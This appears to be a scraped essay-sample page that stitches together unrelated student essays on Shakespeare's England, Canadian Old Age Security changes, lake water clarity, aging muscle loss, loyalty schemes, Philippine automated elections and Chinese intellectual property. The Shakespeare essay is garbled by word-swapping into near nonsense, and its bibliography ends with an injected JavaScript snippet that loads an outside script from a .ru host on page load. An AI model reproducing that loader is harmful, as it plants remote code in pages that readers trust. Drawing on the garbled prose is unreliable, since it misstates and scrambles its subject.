Spirit Of Shakespeare And Elizabethan Times Essay free essay sample

, Research Paper The Spirit of Shakespeare and the Elizabethan Times During the reign of Queen Elizabeth I, English civilization was at its greatest. England during the Elizabethan Age saw a metempsychosis of literature, in big portion because of William Shakespeare. Shakespeare? s Hagiographas had all the features of Elizabethan life. The Elizabethan Age ( 1558-1603 ) was called so, because of the length of Queen Elizabeth? s reign. It was besides called the age of Shakespeare ( 1569-1616 ) because of his influence on literature during that clip. These were lively, energetic times, during which there was a cultural Renaissance. Queen Elizabeth loved play and poesy and because of that, many authors during her regulation were able to make good and besides receive fiscal support from the wealthy. These times besides had many societal categories. These societal categories normally would neer hold assorted. But because of the theater, all sorts of people came together. We will write a custom essay sample on Spirit Of Shakespeare And Elizabethan Times Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page ? Playwrights found themselves composing for extremely diverse audiences which reflected the of all time altering do up and energy of society? Shakespeare? s play had to be written in a manner so that the capable affair would appeal to a broad audience. ? The most successful dramatists of the twenty-four hours, such as Shakespeare, made certain that their play included? Something for everybody? . ? The people during Elizabethan times were hungry for information. This avidity to cognize about everything that was traveling on at the minute was because the Queen had made the people feel really near to her and to her authorities. Shakespeare, who understood instinctively what this meant, used his dramas as manner to inform the public about everything from societal issues to political relations, but of class he did it in a really amusive and interesting manner. ? -this was a ferociously individualistic people who felt connected, through the peculiarly democrat inherent aptitudes of the Queen and authorities, with events. ? For the Elizabethans, and for Shakespeare, war was a really chilling thing. But it besides had an exciting quality to it. ? Shakespeare, simplifies military leaders, stressing their headline entreaty. Endowing them with his humor, his popular easy power, his gift of imagination, he makes them versions or transcripts of himself, reflecting his ain observation and experience of war. ? Shakespeare would demo all sides of the war in his historical dramas, without uncovering excessively much of what really went on, on the interior. R / gt ; The Elizabethans had besides discovered the Grecian and Roman classics. New versions were made, so that they could be acted out on phase. Shakespeare had seen these new versions of Greek and Roman calamities and comedies. He recognized many similarities to what was traveling on in the English royalty household. ? Family passion, retaliation, enviousness, all the local, domestic springs of popular and entertaining dramas, were the productive forces of universe politics. ? Shakespeare was able to transform and accommodate all of these emotions into his dramas. At some point during Queen Elizabeth? s clip in power, there was a great trade of spiritual tenseness. The Church of England had been established. Not desiring to pique anybody, Elizabeth aimed to convey Protestants and Catholics together. These were old ages when the people were diffident which manner to travel spiritually or politically. ? Queen Elizabeth? s singular reign was a equilibrating act between opposing forces in these spheres, but she could make little to accommodate the existent differences. ? Shakespeare was decidedly in that regard besides a merchandise of his clip. On the exterior he conformed but on the interior he felt the spiritual confusion of his epoch. ? He had ever remained as much a competitory patriot as an inside persuaded Catholic. He delighted in playing to the chauvinist crowd-which did non itself care much either manner in the great spiritual divide. ? These were religious times, which Shakespeare would convey in his literary plants. Shakespeare truly showed us what the spirit of the Elizabethan times was. ? He created the most graphic characters of the Elizabethan- or any other-stage. His use of linguistic communication, both lofty and low, shows singular humor and nuance. Most significantly, his subjects are so cosmopolitan that they transcend coevalss to stir the imaginativeness of audiences everyplace to this twenty-four hours. ? These were times of prosperity and optimism, which influenced all of the cultural facets of this period, in add-on to of class the literary works.. This was a clip of changeless alterations. ? No tusk tower poet, he was speedy to catch and absorb a new voice. ? Shakespeare was able to place what the people were experiencing and believing and demo it in his literary plants. He ever tried to maintain his audience delighted, and maintain their imaginativenesss traveling. He was really observant and wholly understood the human status of the Elizabethan Age. Bibliography Shakespeare by olivia krinton ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Canadian Old Age Security (OAS) Pension Changes

Canadian Old Age Security (OAS) Pension Changes In Budget 2012, the Canadian federal government formally announced the changes it planned for the Old Age Security (OAS) pension. The major change will be raising the eligibility age for the OAS and related Guaranteed Income Supplement (GIS) from 65 to 67, beginning April 1, 2023. The change in the age of eligibility will be phased in gradually from 2023 to 2029. The changes will not affect you if you are currently receiving OAS benefits. The change in eligibility for OAS and GIS benefits will also not affect anyone born on April 1, 1958. The government will also be introducing the option for individuals to defer taking up their OAS pension for up to five years. By deferring his/her OAS pension, an individual would receive a higher annual pension starting in a later year. In an effort to improve services, the government will be starting proactive enrolment for the OAS and GIS for eligible seniors. This will be phased in from 2013 to 2016 and should mean that eligible seniors will not need to apply for the OAS and GIS as they do now. What is the OAS? Canadian Old Age Security (OAS) is the single largest program of the Canadian federal government. According to Budget 2012, the OAS program provides approximately $38 billion per year in benefits to 4.9 million individuals. It is now funded from general revenue, although for many years there was such as thing as an OAS Tax. The Canadian Old Age Security (OAS) program is a basic safety net for seniors. It provides a modest monthly payment to seniors 65 years of age and older who meet the Canadian residency requirements. Employment history and retirement status are not factors in the eligibility requirements. Low-income seniors may also qualify for supplemental OAS benefits including the Guaranteed Income Supplement (GIS), the Allowance  and Allowance for the Survivor. The maximum annual basic OAS pension is currently $6,481. Benefits are indexed to the cost of living measured by the Consumer Price Index. OAS benefits are taxable by both federal and provincial governments. The maximum annual GIS benefit is currently $8,788 for single seniors and $11,654 for couples. The GIS is not taxable, although you must report it when you file your Canadian income taxes. The OAS is not automatic. You must apply for the OAS, as well as for the supplemental benefits. Why is the OAS Changing? There are several critical reasons for changes being made to the OAS program. Canadas Aging Population: Demographics are changing. Life expectancy is increasing, and the age group of baby boomers (those born between 1946 and 1964) is huge. The government predicts the number of Canadian seniors will nearly double from 2011 to 2030, from 5 million to 9.4 million. That puts a huge pressure on funding the OAS program, especially when the number of working-age Canadians (who will be paying taxes) per senior is expected to drop from four to two over a similar time frame.Cost: Budget 2012 estimates that the cost of the OAS program without changes would grow from $38 billion in 2011 to $108 billion in 2030. That means the 13 cents of every federal tax dollar being spent on OAS benefits today would become 21 cents for every tax dollar being needed for the program in 2030-31.Flexibility: Allowing seniors to choose to defer taking their OAS pension will provide them with more choice to make decisions appropriate to their own circumstances.Efficiency: The phased-in proact ive enrolment of many seniors in the OAS and GIS programs will not only reduce an unnecessary burden on seniors, it is also a long-overdue administrative change that should save government program costs. When Do the OAS Changes Happen? Here are the time frames for the changes to the OAS: Increasing the Eligible Age for OAS and Supplemental Benefits: These changes begin in April 2023 and are being phased in over six years until January 2029. These charts of OAS changes show the ages by quarter.Voluntary Deferral of OAS Pension: The  voluntary deferral of the OAS option for up to five years begins July 2013.​Proactive Enrolment in OAS and GIS: This will be phased in from 2013 to 2016. Those who are eligible will be notified personally by mail. Those who are not eligible will be sent applications or can pick up applications from Service Canada. You should apply for the OAS at least six months before you turn 65. There will be more information on this option available from Service Canada as it is developed. Questions About Old Age Security If you have questions about the Old Age Security program, I suggest you Check the information on the Old Age Security pension on the Service Canada site​Read the Frequently Asked Questions about the OAS on the Service Canada site. Their contact information is also on that page.

Water clarity in lakes and reservoirs Essay Example | Topics and Well Written Essays - 2250 words

Water clarity in lakes and reservoirs - Essay Example The National Resources Defense Council asserts that an increasing number of Americans are open to the elements of tap water contamination at levels over those set by U.S. Environmental Protection Agency standards. According to a survey conducted in 1999 by the Water Quality Association, around sixty percent of adults consider that the quality of water they are drinking affects their health, and about three-quarters have distresses regarding the quality of their household water supply.Contrary to popular belief, crystal clear water is not necessarily the true measure to which all lakes should be compared. It is also not entirely true that lakes with low levels of visibility and transparency are due to pollution or degradation in water. Another common belief is that clearer water is safer to swim in or to drink which is also not entirely true. On the contrary, clear water may likely be just as filled with pathogens, bacteria and other contaminants that could be harmful to human health as cloudy water is generally perceived to be.The water treatment experts at Amway Corporation laid down suggestions regarding the following tests and resources for beneficiaries who would want to know if their drinking water is safe: 1) Look at it. Water should look clear and have no floating particles. 2) Smell it. Water should be free of unpleasant odors. 3) Taste it. Water that tastes unusual should be tested. 4) Contact the local health department to have the water tested if it looks, smells, or tastes unusual. 5) Request a copy of the Consumer Confidence Report from the community water supplier. (Journal of Environmental Health, 2000) This paper covers issues related to water clarity, what it is, how it is measured, what causes clarity problems and how to tackle such problems Literature Review Water clarity can be defined as a measure of the amount of sunlight that passes into the water and reaches the leaves of underwater grasses. Water clarity can be termed as dependant on three factors; proper water chemistry, sufficient and effective filtration, and good circulation. (Pool Chlor, 2006) Water chemistry relates to the alkalinity levels within water. In case these levels are out of balance, the result can be in the form of turbidity. Turbidity is the cloudiness caused in water because of suspended or dissolved material. It can also be said that insufficient chlorine in the water, small, perched algae and bacteria can result in turbid water. (Pool Chlor, 2006) How to Measure Water Clarity Measurement of water clarity is quite helpful in monitoring any changes in water componential balances and enables communication for these changes to concerned persons. One common method to measure water clarity is by the use of a disk, more commonly known as the Secchi disk. A Secchi disk is by far the simplest, standardized instrument used to determine water clarity. "It is an 8-inch (20 centimeter) diameter, black and white disk attached to a dowel rod, PVC pipe, rope or chain. Inch or centimeter intervals are marked on the rod, pipe, rope or chain with permanent ink, paint or clamps. Ideal clarity for aquatic plant production is generally greater than 36-inch visibility" (Porter, 2002) The measurements taken by the use of Secchi disk are likely to be quicker through the use of rod or pipe as against a rope of chain, except when water is very clear, in which case, an extremely long rod or pipe may be required. When measuring water clarity, the date of measurement, the measurement itself and the source of turbidity, usually sediment (brownish muddy color), phytoplankton (greenish color), humic stain (tea color from decaying leaves or plants) or some combination of these, should be recorded for reference purposes. Secchi disk measurements are mainly precise when taken on comparatively still, sunny days, preferably during the middle of the day from a dock or some sort of floating mechanism such as a boat, float tube, air mattress or life preserver. (Porter, 2002)

Psychology Adult & aging Development Essay Example | Topics and Well Written Essays - 500 words

Psychology Adult & aging Development - Essay Example isease process that may result from sub-optimal hormone levels, inadequate dietary protein, and other nutritional imbalances, lack of exercise, oxidative stress, and inflammation (Brink 1-4).† As a person grows older, he or she losses a percentage of muscle tone yearly. And as the individual reach the age of 75, the percentage of muscle mass is typically half of what it was during young adulthood. Muscle mass decreases because as people grow older their physical activities become less. Studies likewise show that growth hormones and testosterone levels that helps in muscle development diminishes. And as this happens the muscles cannot contract as fast as before because â€Å"more fast-contracting (fast-twitch) muscle fibers are lost than slow-contracting (slow-twitch) muscle fibers (The Merck Manuals 2).† The lifestyle of an individual plays a major role in his overall health and well being. While there may be studies that show the lifespan of a person basing it on age, gender and race, the possibilities of beating the odds by properly taking good care of one’s self could actually beat the odds. An example of this is: when you start smoking at a young age, say at age 12 or 13, the probability of you acquiring a disease related to smoking is greater that those who smoked at a later age like 25. The explanation here is that at the age of 12 your respiratory system has not still been fully developed to withstand the bad effects of smoking. Thus, at that age most of your lung capillaries were already destroyed and your system is already pumped up with nicotine. Another example is: having a balanced diet and doing regular exercise. By eating properly you nourish your body with nutrients that it needs in order to perform daily activities. And by exerting you tome you muscles and strengthen your overall physique. But if you are a couch potato who simply wants to just lie around and eat junk food – then you could be a candidate for obesity and early stroke –

The Role of Loyalty Scheme In Selling Directly to the Customer Research Paper

The Role of Loyalty Scheme In Selling Directly to the Customer - Research Paper Example 3. Identifying the other marketing tools that can be used as alternatives of loyalty schemes and comparing the effectiveness of them. Answers of the three major research questions are likely to meet the above mentioned objectives to a great extent. The entire research process including the search for literature and collection of primary data will be carried out keeping these three questions and objectives in mind. Literature Review Literature review will be the backbone of this research. It will be containing the theoretical aspects of the subject. The focus of this section will be on the main theories behind the emergence of loyalty programs. The literature regarding the history and background of several of such programs will be properly identified and explained in this section. The section will also include the description regarding the way in which consumer behavior is influenced by the loyalty schemes. A preliminary study shows that the loyalty schemes have been very effective du ring the last two-three years especially during the period of recession (Marketing Clout, 2010). They have helped the organizations in retaining their key customers and thereby improving the brand equity. Over the past decade retail industry in UK has become more competitive. Major players now, look for innovative strategies regarding relationship marketing for increasing their sales and maintaining the existing customer base (Stone, M. et al. 2003). Loyalty schemes are actually the result of intense competition among the retailers. This research will try to find out the theoretical aspect behind such outcomes. Furthermore, many consider loyalty schemes as the tool of direct marketing or relationship marketing. Literature... Literature review will be the backbone of this research. It will be containing the theoretical aspects of the subject. The focus of this section will be on the main theories behind the emergence of loyalty programs. The literature regarding the history and background of several of such programs will be properly identified and explained in this section. The section will also include the description regarding the way in which consumer behavior is influenced by the loyalty schemes. The author of the paper declares that the relationship between the brand image and loyalty schemes will be explained in the literature review section. The data required regarding the literature will be collected from various secondary sources like books, journal articles and research papers that are prepared in the past. Both physical and online libraries will be used for accessing these sources. Considering the nature of the data, qualitative analysis will be conducted. This research proposal is developed with the objective of providing a clear overview regarding the actual research that will be carried out very soon. Three major research questions along with the objectives are properly defined in this proposal. The literature searching process in the actual research will involve secondary research. Literatures regarding loyalty schemes and related aspects of marketing and branding will be mainly searched from various books and journals. Focus group interview will be conducted for gathering the primary data.

American And Philippine Electoral Systems

American And Philippine Electoral Systems Election is the bedrock of republicanism. It is the heart that pumps blood in order to sustain our democratic life. Election serves as a crevice in the democratic field where voters, for themselves and the public good, plant the seeds of their ideals and freedoms. In a republic undergirded by a social contract, the threshold consent of equal people to form a government that will rule them is renewed in every election where people exercise their fundamental right to vote to the end that their chosen representatives will protect their natural rights to life, liberty and property. It is this sacred contract which makes legitimate the governments exercise of its powers and the chosen representatives performance of their duties and functions.  [1]   Primarily, the study aims to discuss the election system of the United States of America coupled with the examination and review of the Automated Election System in the Philippines. An election system is a concept imbued with several vantage points; hence, the study will explore only those points of American election system which has a bearing on the Philippines first-ever poll automated election. In particular, the first part of the study will present a brief overview of the American system focusing on the national levels substantiated by way of registration and participation in the electoral process, the Electoral College, the role of the media and the system which they adopted in casting their votes, which is electronic. The second part will make a review and examination of the 2010 Philippine Automated Election and make comments or recommendations for its improvement. The American Election System: An Overview Election is a fundamental part of the American system of government founded on the principle that the power to govern resides in the people. Elections provide the means by which the people delegate this power to elected representatives. The chance to elect a particular candidate serves as an opportunity for the public to make choices about the policies and programs while promoting accountability at the same time.  [2]   Election in the United States is held at regular intervals. Presidential elections take place every four years while congressional elections occur every two years. Elections for state and local office usually coincide with national elections. In most nations, political party leaders select candidates for office in a general election. The United States is one of the few nations to hold primary elections prior to the general election campaign. In these elections, voters select the partys candidates for office. Electoral College is the institution through which Americans elect the president and vice president. Many American voters are not aware of the role of the Electoral College because they thought they elect the president and vice directly. In fact, when they cast their votes, they are voting for officials called electors who are assigned to each presidential candidate. Each state is allotted a number of electors equal to the number of its representatives and senators in the U.S. Congress. Through its power of apportioning representatives among the states, Congress determines the number of presidential electors to which each state is entitled. The electors primary responsibility is to elect the president and the vice. Each presidential candidate has a slate of electors assigned to that candidate. When the candidate wins the popular vote in a particular estate, the electors assigned to that candidate are the ones who shall vote in the Electoral College. The electors vote for the presidential candidate who received the greatest number of votes in their state. In turn, the Electoral College only ratifies the results of the popular vote. In most instances, the candidate who wins the popular vote also wins the Electoral College vote. If the election is close, however, as was the election of 2000, the Electoral College may end up picking a candidate who did not receive most of the popular vote. The candidate who wins the presidency is the one who wins a majority of the Electoral College votes, rather than a majority of the popular vote. On four occasions in U.S. history-in 1824, 1876, 1888, and 2000-the candidate with the most popular votes did not win the presidency because he did not win the most Electoral College votes. This is because Americans do not directly elect their president and vice president. If Americans directly elected their president, then the candidate with the most votes would automatically win  [3]  . Voter Participation The participation of citizen in U.S election is relatively low. According to my readings, slightly more than 50 percent of those eligible participate in national presidential elections. Only 30 percent of eligible voters take part in congressional elections during nonpresidential election years. Turnout plummets even further in state and local races that do not coincide with national contests. In 19th century, machineries of political party boosted participation rates by employing thousands of workers to organize and mobilize voters and influence them to participate in the polls. Political machines began to weaken and then disappeared in the early 20th century. Voters will not participate without the presence of party workers who will encourage them to go to polls. In the absence of strong and stable parties, participation rates have dropped dramatically among less-educated individuals. Voter Registration Aside from political party strength, the national differences in voter participation result from variance in the registration rules. Voters must register with election boards of each state before they can vote. Towards the end of 19th century with the aim of reducing fraud and other election abuses, requirements of registration was made even more difficult. In urban areas, registration rules discouraged immigrant and working class voters from going to the polls. Registration requirements have eased in most states since the 1960s. An eligible individual may now register to vote by simply mailing a postcard to the state election board. The 1993 federal Motor-Voter Act required states to make such postcards available in motor vehicle, public assistance, and military recruitment offices. Legislators hoped that easing burdens on voters might reverse trends in voting participation.  [4]   Role of Media in the Electoral Process The media, especially television, have played a role in the increase of cost in political advertisements in order to promote ones candidacy and the defeat of the opponent. Individual candidates spend more money on media advertising than any other else. To quote from my source, in 1860 the Republicans spent only $100,000 on Abraham Lincolns presidential campaign and on those of all Republican House and Senate candidates. In 1988 Republican candidate George H. W. Bush spent $70 million, just on the presidential race. During the 1998 elections, a 60-second spot on prime-time television cost as much as $100,000 every time it ran. In effect, candidates ponder more on fund-raising rather than debating and discussing issues towards the constituents. The media have also made its impact in the dilapidating importance of political parties because it allows candidates to portray themselves to the electorate without any aid from their political parties. They use the media to gain popularity. These candidates erode the authoritative influence of political parties by appealing to the general public through the media.  [5]  National party conventions, which officially nominate candidates for president and vice president, used to be stirring meetings where leaders decide who would receive the nomination. Recently, presidentiables have become independent political entrepreneurs who appeal to the people rather than to party leaders. This has made personal campaign organizations more efficient moneymaking tools than the national parties. This dilemma tends to destabilize loyalty to the powerful institution of political parties. Electronic Voting United States has been using a system since the middle of 70s that allows votes to be entered electronically, otherwise known as electronic voting. According to my source, this balloting system is also referred to as e-voting or direct-recording electronic systems (DREs). The voter uses an entry device to register vote selections, and the entries are transferred to electronic recording media, such as hard drive or a memory card. The direct entry device may be electronic, as with a touch-screen, or electromechanical, such as pushbuttons. The earliest electronic system is the Video Voter, an electromechanical device. This is intended to make voting more accessible and comfortable especially to the disabled. The   [6]  selection made by the voter comprises a ballot. After the polls close, the contents of the ballots are tabulated and reported by the voting system as vote totals. These totals are typically provided in a printed paper format that can be read by the workers at the individual precinct locations. There was a slow reaction of e-voting systems in the United States. The Help America Vote Act of 2002 provided billions of federal funds for cities and towns to replace the existing punch-card systems. Many of these systems were replaced with DRE systems. From E-voting of the West to Philippines The lack of an independent proof or audit trail for the vote data collected by DREs led experts to consider the requirement that all electronic equipment should provide a printed version of the ballot that the voter could examine and review for accuracy and authenticity. DRE-printed ballots are known as voter verified paper ballots or voter verified paper audit trails, VVPB or VVPAT for brevity respectively. VVPBs or VVPATs can also be produced by equipment that does not electronically record the ballot image or vote data such as devices used by disabled citizens that print or prepare a ballot to be optically scanned. Recently, computer expert David Dill posted a petition about e-voting at Stanford University stating that operation of new voting machines that do not provide a voter-verifiable audit trail should be stopped and existing machines should be modified to produce ballots that can be checked separately by the voter before being submitted and cannot be changed after submission. The ballots thus submitted shall be regarded as actual votes taking  [7]  primacy over any electronic counts. As one of the forerunners of e-voting, Philippines adopted with what has been practiced by modern democracies worldwide. Automation was supposed to address the problem of too much human intervention which made the system vulnerable to human error or fraud. The Comelec decided that the antidote was automation because it assured more accuracy than manual count and was faster which would unburden the people especially the teachers, from the drudgery of a manualized system. Philippine Automated Election System Pursuant to Poll Modernization Law as amended by Republic Act 9369, the counting, tallying, transmission and consolidation of votes under automated election system-AES will be done by computers. According to the Philippine Star, the Comelec has purchased 82,200 voting machines from the foreign company Smartmatic, which the Comelec calls Precinct Count Optical Scan (PCOS) machines. The excruciating and tedious counting process under the manual system which takes days, weeks or even months before the results are finally known will no longer be adopted. All votes cast at every precinct will automatically be counted by the PCOS machine at the closing of polls and the results will be transmitted electronically to the appropriate canvassing/consolidation centers. Paper-Based System and Pre-Election Procedures Paper ballots are still used during the voting process since voting is done through optical mark reader-type machine, in accordance with the mandate of the law. The ballot contains the names of candidates for every position from national down to local aspirants and the parties under the party-list system as well. There are ovals opposite each name and party. The ballot will be used front and back. Three days before the day of election, the Comelec conducted a dry run of the PCOS machines by inviting members of the public to accomplish test ballots. These ballots were counted manually and election returns showing the results will be prepared. Then the same set of ballots will be counted by the PCOS machines and the results will be compared with that of the manual counting. If the results are the same, the participants will certify the truthfulness of the results by signing on the printed elections returns. According further to my source, the PCOS machines was delivered to the 80,136 clustered precincts around the country albeit with some delays where they will be stored and sealed until Election Day. During this time, the machines are not allowed yet to be connected to any transmission lines to prevent hackers from having access to them. The public can secure the area where the machines will be stored. The Voting Process and Transmission of Results The machine can still read a marking even if the voter fails to fully shade the ovals opposite the candidates of his choice. The PCOS machine has an LCD screen which will signify if the ballot is accepted or rejected to prevent spoiled votes.  [8]   9In contrast with manual voting, the voter has to write the names of candidates and parties which he or she will vote. This is system is prone to errors and confusion such as when a name is misspelled, there are similar names or the names are confusingly similar. Under the automated system, these problems are immediately resolved because the voter has to mark only the names of the candidates of his choice whose names have already been printed on the ballot. The transmission cable is connected to the PCOS machine for the transmission of results from a particular precinct after the printing of the election returns. The results are transmitted electronically to the City or Municipal Board of Canvassers (BOC) via canvassing or consolidation machines which will consolidate the results from all precincts within the city or municipality. From then, it is to be transmitted electronically to the Comelec central office. Two-faced media The effect of broadcast media varies accordingly with respect to the candidates political advancement prior to election and towards the credibility of the poll automation. Firstly, with the advent of Penera 2 Supreme Court Decision, premature campaigning has lost its relevance in the modern world. In effect, even before the start of the campaign period, infomercials are rampant in TV screens, radio, Internet and others anywhere. These infomercials or ads, which may last from fifteen to sixty seconds, emphasize issues and personal qualities that appear important in the poll data. They attempt to establish candidate name identification, create a favorable image of the candidate and negative image of the opponent. These ads often make use of sound bites, short and punchy statements from the candidate designed for voters to remember otherwise known as the last song syndrome. In effect, there is a radical shifting of the equilibrium which tends to favor those candidates with deep pockets despite the presence of limitations prescribed by law. Secondly, media exposes those controversies and anomalies surrounding the poll automation e.g. overpricing of election paraphernalia, the validity of the contract between Comelec and Smartmatic-TIM, the authenticity of the source code, the possibility of machine failure and hacking and the likes. This scenario triggers the relentless minds of Filipinos, but not all, to question and to doubt the result of the automated election. Pessimism regarding the automations credibility is widespread as we have been hypnotized by the evil spells of past elections. In some way or another, media has succeeded in negativizing the legitimate image of what was supposed to be a giant leap from primitivism of manual count to modernity via electronic count. The role of media is controversial considering that journalists, after all, are not elected by the people. They are not even appointed or conformed by elected officials. One might ask if what gives these private citizens, working mostly for private corporations, the right to an influential role on how the country is governed. This study aims not to criticize the media because on the other side of the spectrum, they play a vital role in maintaining the governments integrity because media act as a disinfectant in exposing flaws in the government on the premise that it helps to correct those flaws if it is exposed. But unfortunately, this is not an issue covered by this academic paper. Pros and Cons of the System Several days prior to the day of the election, several personalities made a conclusion that there is likelihood that the automated election in 2010 can lead to cheating or failure of election. There are legitimate fears about the authenticity and reliability of the source code for the Precinct Counting Optical Scanners (PCOS), a tightly-guarded human readable set of rules or commands that will enable the machine to function. The chaotic manner by which the Comelec tested and finally awarded the contract was becoming apparent from a strange failure to maintain adequate time-and-motion studies, a terrible ratio of two customized pens per voting precinct and including the lapses and mishaps during the Election Day. Experts opined as well that machines are susceptible to jamming or hacking. Even the printing of these official ballots is loaded with security concerns. The fears raised by several sectors emulate a general distrust and suspicion not only in the Comelec as sentinel of the democratic vote, more so when the process lacks precision or transparency and the implementers lack of enough competence and possess little credibility not to speak of the inherent weaknesses such as vote-buying or harassing the Board of Election Inspectors to pay voters so they can fill up ballots themselves and the like. But on the brighter side, the automated election is the path to modernizing the Philippine electoral process. To quote from my source the technology might just be the equalizing factor against fraud that has bugged the system for years. It may not be perfect but it can lessen the impact of cheating against the results. Speedy counting is urgently needed in order to alleviate, if not totally removed, the chances of fraud. Christian Monsod, a well known political figure is of the opinion that there was no failure of elections, no catastrophic failure of technology or logistics and no outrage over its conduct or results. President Aquino won by the largest margin in history which was accurately tracked by the surveys and exit polls. There was a peaceful transfer of power on June 30, 2010. The scenario of a vast and elaborate conspiracy to make the elections fail so that Madam Arroyo could stay forever did not make sense.  [10]   The Comelecs plan to use the PCOS to speed-up the counting, transmission and canvassing of votes is aimed at preventing cheating, specifically dagdag-bawas or vote padding during the canvassing of election results. Printed names on ballots will prevent misappreciation of votes as compared to ballots written individually by the voters. Electronic transmission of results will help reduce physical intervention or obstruction and there would be faster counting and consolidation of results. In effect, winners could be declared without further delays. Contrary to what many believe, hacking the machines or tampering with the results while they are being transmitted are not the most controversial issues in poll automation because these would be expensive and difficult due to the security features that are carefully and analytically encrypted therein. Recommendations Voters education is the primary key to prevent fraud in the new electoral process because election operators would depend on them to introduce cheating and fraud in the results. Likewise, poll watchers should know which parts of the process are critical so they can guard against cheating. The print, broadcast and online media will play a vital role in helping to educate voters and all stakeholders regarding the new automated poll system. Everybody must be vigilant in protecting their rights so as not to be disenfranchised. Due to the consolidation of polling precincts and to avoid disenfranchisement of votes, there is also a need for an additional PCOS machines to prevent voters from rushing and then congesting within the precinct as if there is Wowowee, on the verge of stampede, prompting others to wait and eventually got discouraged from casting their votes. There After conducting an information campaign, there has to be a nationwide dry-run of the poll automated election to be conducted within the last month prior to the Election Day. This is intended in order to minimize, if not prevent, unwanted and unnecessary delays and mishaps during the actual voting. The Comelec must share as well the factual information about the automation and testing processes to accurately inform the public, including groups most critical of the automation project and to de-bunk misinformation and rumors. To summarize and to quote from what Monsod had said in his opinion regarding the 2010 automated election, a lot of governance problem was encountered by Comelec during the poll automation. These includes the late promulgation of rules, regulations and guidelines, disenfranchisement from defective voters lists, delays in delivery or non-deliveries of election paraphernalia, inadequate training of teachers and Comelec field personnel, inadequate voter education, irregularities of procedures. Most of these involve procedures but since election is a process, procedures partake of the substance of suffrage. These problems can all be solved with better management. Conclusion The study presented the brief overview of the American election system coupled with the in-depth analysis, examination and review of the 2010 Philippine Automated Election System. Election lies at the heart of every democratic government. Guarding the ballot of every individual against fraud is the primordial concern of the government per se. The people are the source of every power and authority that the government exercised. It is just but right to assure them the best protection and security the government can offer so that free, unwarranted and unhampered choice is achieved. Despite the problems encountered during the Election Day and despite all the suspicions and doubts regarding the machines vulnerability to hacking, failure, bug down and many more, the PCOS machines were able to heed the mandate of the electorate. The use of the automated system did not result in failure of elections as predicted by many overly critical personalities but that much still needs to be done to make the system perfect. We plant seeds in order to grow. There is no harm in trying anyway; there is always a room for improvement. In other words, the automation of the elections in May was not perfect but the system itself remains a viable option. The system need only be improved.

Chinese Intellectual Property Protection :: Economy

Chinese Intellectual Property Protection "The Master [Confucius] said: I transmit rather than create; I believe in and love the Ancients." The Analects of Confucius, bk 7, ch I 1 As the globalization of the world progresses China, a country that values the past greatly, seeks to develop into a technologically driven country that can sit among developed nations. I. Introduction Globalization is an inevitable fact of the modern world. Unless the Chinese work hard to adjust to the changing conditions they will fall behind. By looking at the history of the Chinese we can come up with answers to the ethical questions of who is morally responsible for the problems with Chinese Intellectual Property Law. Although this will not give us the answers to problems China faces, it will give us answers to some moral questions. II. A Bit of Chinese History on Intellectual Property Before Significant Foreign Contact The notions of a copyrights, trademarks, and patents came very late in China. Understanding what occurred during era of Imperial China (221 B.C. -A.D. 1911) can help us to figure exactly what kept the Chinese so far behind the western world in the intellectual property respect.1 During the age of Imperial China, most laws developed tended to be penal in nature and the central government lacked the civil laws that the west enjoyed.1 According to scholars, rather than implement these laws centrally, civil laws were "delegated" to village and clan elders.1 Thus, it was up to the family to dictate what was right and wrong at a civil level. It is important to note that although Chinese law did not have many governmental civil laws, it did however have the Ten Abominations (the most serious offenses) of which half involved actions concerning the family -- this shows that in some ways that there was some sort of delegated authority on civil law.1 The "Four Books" (which are part of the great Chinese Classics) were the guidelines that the elders used in matters of social situations.1 The first restrictions to printing came during the Song Dynasty (A.D. 960-1279) and was greatly aimed at restricting reproduction of heterodox.